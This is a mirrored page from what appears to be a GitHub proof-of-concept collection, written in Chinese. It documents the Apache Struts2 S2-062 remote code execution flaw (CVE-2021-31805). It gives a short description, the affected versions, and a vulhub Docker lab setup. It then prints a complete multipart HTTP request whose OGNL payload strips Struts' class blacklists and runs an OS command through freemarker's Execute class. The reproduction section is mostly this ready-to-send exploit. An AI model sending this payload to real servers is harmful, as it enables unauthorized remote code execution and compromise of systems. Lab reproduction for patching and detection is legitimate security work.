mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-07 11:58:05 +00:00
55 lines
2.3 KiB
Markdown
55 lines
2.3 KiB
Markdown
|
|
# Apache Struts2 S2-062 远程代码执行漏洞 CVE-2021-31805
|
|||
|
|
|
|||
|
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
该漏洞由于对 CVE-2020-17530 的修复不完整造成的,CVE-2020-17530 漏洞是由于 Struts2 会对某些标签属性 (比如 id) 的属性值进行二次表达式解析,因此当这些标签属性中使用了 `%{x}` 且 其中 x 的值用户可控时,用户再传入一个 `%{payload}` 即可造成 OGNL 表达式执行。在 CVE-2021-31805 漏洞中,仍然存在部分标签属性会造成攻击者恶意构造的 OGNL 表达式执行,导致远程代码执行。
|
|||
|
|
|
|||
|
|
## 漏洞影响
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
Struts 2.0.0 - Struts 2.5.29
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 环境搭建
|
|||
|
|
|
|||
|
|
docker-compose.yml
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
version: '2'
|
|||
|
|
services:
|
|||
|
|
struts2:
|
|||
|
|
image: vulhub/struts2:2.5.25
|
|||
|
|
ports:
|
|||
|
|
- "8080:8080"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
环境启动后,访问 `http://your-ip:8080/index.action` 查看到首页。
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
发送请求包
|
|||
|
|
|
|||
|
|
```php
|
|||
|
|
POST / HTTP/1.1
|
|||
|
|
Host: your-ip:8080
|
|||
|
|
Content-Length: 829
|
|||
|
|
Origin: http://your-ip:8080
|
|||
|
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1OyBby784sBXbcK9
|
|||
|
|
Upgrade-Insecure-Requests: 1
|
|||
|
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
|
|||
|
|
Accept: */*
|
|||
|
|
Referer: http://your-ip:8080/
|
|||
|
|
Accept-Encoding: gzip, deflate, br
|
|||
|
|
Accept-Language: en
|
|||
|
|
|
|||
|
|
------WebKitFormBoundary1OyBby784sBXbcK9
|
|||
|
|
Content-Disposition: form-data; name="id"
|
|||
|
|
|
|||
|
|
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
|
|||
|
|
------WebKitFormBoundary1OyBby784sBXbcK9--
|
|||
|
|
```
|
|||
|
|
|
|||
|
|

|